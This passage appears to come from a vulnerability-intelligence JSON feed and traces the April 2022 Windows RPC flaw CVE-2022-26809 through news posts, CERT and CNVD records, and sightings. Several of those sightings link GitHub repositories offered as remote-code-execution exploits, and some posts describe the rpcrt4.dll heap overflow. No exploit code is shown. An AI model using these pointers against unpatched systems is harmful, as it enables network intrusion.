CVE-2022-24491 \u0438 CVE-2022-24497 (\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c Windows Network File System) \u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u043c\u0438, \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u043d\u0438 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0441\u0435\u0442\u0438.\n\n\u0414\u0430\u043b\u0435\u0435 \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435, \u043d\u043e \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043f\u043e \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0434\u0435\u0442 CVE-2022-24521 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c CVSS:3.1 \u0432 7.8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0430\u043b\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0435\u0449\u0435 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043d\u0430 \u0441\u0447\u0438\u0442\u0430\u043b\u0430\u0441\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u043e\u043d\u0430 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b CLFS (Common Log File System) Windows \u0438 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\nCVE-2022-26904 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows (Windows User Profile Service), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0415\u0439 \u0431\u044b\u043b\u0430 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u0430 \u043e\u0446\u0435\u043d\u043a\u0430 \u0432 7.0 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS:3.1. \u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0434\u043e\u043b\u0433\u043e \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u0440\u043e\u0447\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b. \u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u0442\u0447\u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 Microsoft Windows \u0438 \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b: Microsoft Defender, Microsoft Dynamics, Microsoft Edge, Exchange Server, Office, SharePoint Server, Windows Hyper-V, DNS-\u0441\u0435\u0440\u0432\u0435\u0440, Skype, .NET, Visual Studio, Windows App Store. \n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u043c\u0435\u044e\u0442 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043e\u0431\u0449\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0441\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u043d\u0443\u0442 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n@NeKaspersky", "url": "https://t.me/NeKaspersky/2116"}, {"timestamp": "2022-04-14T14:20:14Z", "date_only": false, "value": "2022-04-14T14:20:14.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/alexmakus/4666", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "f2c59840-350e-4c86-966b-43c37aeb5d70", "content": "\u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u0437\u0430\u0434 \u0443 Microsoft \u0431\u044b\u043b Patch Tuesday, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u043e\u0431\u0449\u0435\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u0430 \nhttps://isc.sans.edu/forums/diary/Microsoft+April+2022+Patch+Tuesday/28542/\n\n\u043f\u0430\u0440\u043e\u0447\u043a\u0430 \u043e\u0441\u043e\u0431\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0432\u0435\u0449\u0435\u0439\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-24521\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26809\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-24491\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-24497", "url": "https://t.me/alexmakus/4666"}, {"timestamp": "2022-04-15T00:00:00Z", "date_only": false, "value": "2022-04-15T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2022-ALE-003", "record": "CERTFR-2022-ALE-003", "field": "revisions.1.revision_date"}, {"timestamp": "2022-04-15T00:00:00Z", "date_only": true, "value": "2022-04-15", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2022-30674", "record": "CNVD-2022-30674", "field": "submitTime"}, {"timestamp": "2022-04-15T00:56:17Z", "date_only": false, "value": "2022-04-15T00:56:17.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/50331", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "a4ffa2fc-b633-449f-8f03-e45b9f18bf5b", "content": "Critical Windows RPC CVE-2022-26809 flaw raises concerns \u2014 Patch now\n\nhttps://ift.tt/6Rq2EFX", "url": "https://t.me/ctinow/50331"}, {"timestamp": "2022-04-15T03:26:35Z", "date_only": false, "value": "2022-04-15T03:26:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1949", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "d91ccee9-cf61-4272-8f47-68b414122954", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809-RCE-EXP\nURL\uff1ahttps://github.com/SeptS9119/CVE-2022-26809-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1949"}, {"timestamp": "2022-04-15T04:32:39Z", "date_only": false, "value": "2022-04-15T04:32:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1950", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ff12fec8-db81-4816-bc71-cee3b176a0cc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1a CVE-2022-26809-RCE-EXP \nURL\uff1ahttps://github.com/SeptS9119/CVE-2022-26809-RCE-\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1950"}, {"timestamp": "2022-04-15T04:45:08Z", "date_only": false, "value": "2022-04-15T04:45:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1951", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ea7350c6-9a22-4c54-ab59-a178a18d4bbc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809-RCE-EXP-POC\nURL\uff1ahttps://github.com/SeptS9119/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1951"}, {"timestamp": "2022-04-15T05:58:14Z", "date_only": false, "value": "2022-04-15T05:58:14.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/BleepingComputer/11830", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "38a48a2a-4719-40d6-a677-64ca1855bd15", "content": "Latest news and stories from BleepingComputer.com\nCritical Windows RPC CVE-2022-26809 flaw raises concerns \u2014 Patch now\n\nMicrosoft has fixed a new Windows RPC CVE-2022-26809 vulnerability that is raising concerns among security researchers due to its potential for widespread, significant cyberattacks once an exploit is developed. Therefore, all organization needs to apply Windows security updates as soon as possible. [...]", "url": "https://t.me/BleepingComputer/11830"}, {"timestamp": "2022-04-15T14:33:06Z", "date_only": false, "value": "2022-04-15T14:33:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/2854", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "e8c9d116-4672-4977-9c07-21063b10ff8e", "content": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Windows \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b\u044b \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\u0412\u0441\u0435 \u0434\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Windows RPC CVE-2022-26809 \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435 \u043f\u0440\u043e\u0441\u043e\u0447\u0438\u043b\u0438\u0441\u044c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043b\u0435\u0447\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 Microsoft (RPC) \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0441\u0432\u044f\u0437\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433 \u0441 \u0434\u0440\u0443\u0433\u043e\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u044d\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0440\u0442\u044b TCP, \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e 445 \u0438 135.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0435\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0432 \u0441\u0438\u043b\u0443 \u0435\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c \u0441 Blaster 2003 \u0433\u043e\u0434\u0430, Wannacry 2017 \u0433\u043e\u0434\u0430 \u0438 Eternal Blue.\n\n\u0412\u0435\u0434\u044c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u043b\u044e\u0431\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0441 \u0442\u0435\u043c \u0436\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0447\u0442\u043e \u0438 RPC-\u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u0430 \u0434\u043b\u044f \u0431\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u0438.\n\n\u041a \u044d\u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0438\u0437 Akamai \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 rpcrt4.dll. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0433\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0431\u0443\u0444\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043c\u0430\u043b \u0434\u043b\u044f \u0435\u0433\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u042d\u0442\u043e, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0443. \u041f\u0440\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0442 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u041f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043c\u043e\u0433 \u0438 \u0410\u043d\u0442\u043e\u043d\u0438\u043e \u041a\u043e\u043a\u043e\u043c\u0430\u0446\u0438 \u0438\u0437 Sentinel One \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c RPC-\u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0430 \u043d\u0435 \u043d\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 Windows, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0432, \u0447\u0442\u043e \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f RPC.\n\n\u0412\u043c\u0435\u0441\u0442\u0435 \u0441 \u0442\u0435\u043c, \u043a\u0430\u043a \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u043b \u041c\u044d\u0442\u044c\u044e \u0425\u0438\u043a\u0438\u00a0\u0438\u0437 Hacker House, \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f rpcrt4.dll \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 Microsoft, \u043d\u043e \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0442\u0430\u043a\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043a\u043b\u0438\u0435\u043d\u0442/\u0441\u0435\u0440\u0432\u0435\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u044b, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0438 \u0434\u0430\u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RPC.\n\n\u041f\u043e\u043a\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u0441\u0435 \u0435\u0449\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430\u0434 \u0432\u044b\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u0432\u0441\u0435\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u043e\u0448\u0438\u0431\u043a\u0438, \u0430 \u0443\u043c\u0435\u043b\u044c\u0446\u044b \u043f\u0438\u043b\u044f\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u0438\u0439 PatchTuesday, \u0447\u0442\u043e \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Windows. \u0420\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438.", "url": "https://t.me/true_secator/2854"}, {"timestamp": "2022-04-15T19:04:49Z", "date_only": false, "value": "2022-04-15T19:04:49.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-26809", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-04-15T19:15:00Z", "date_only": false, "value": "2022-04-15T19:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-Q2WC-9MX8-XR8J", "record": "GHSA-Q2WC-9MX8-XR8J", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-04-15T19:15:00Z", "date_only": false, "value": "2022-04-15T19:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-26809", "record": "GSD-2022-26809", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-04-15T19:15:13.540Z", "date_only": false, "value": "2022-04-15T19:15:13.540", "kind": 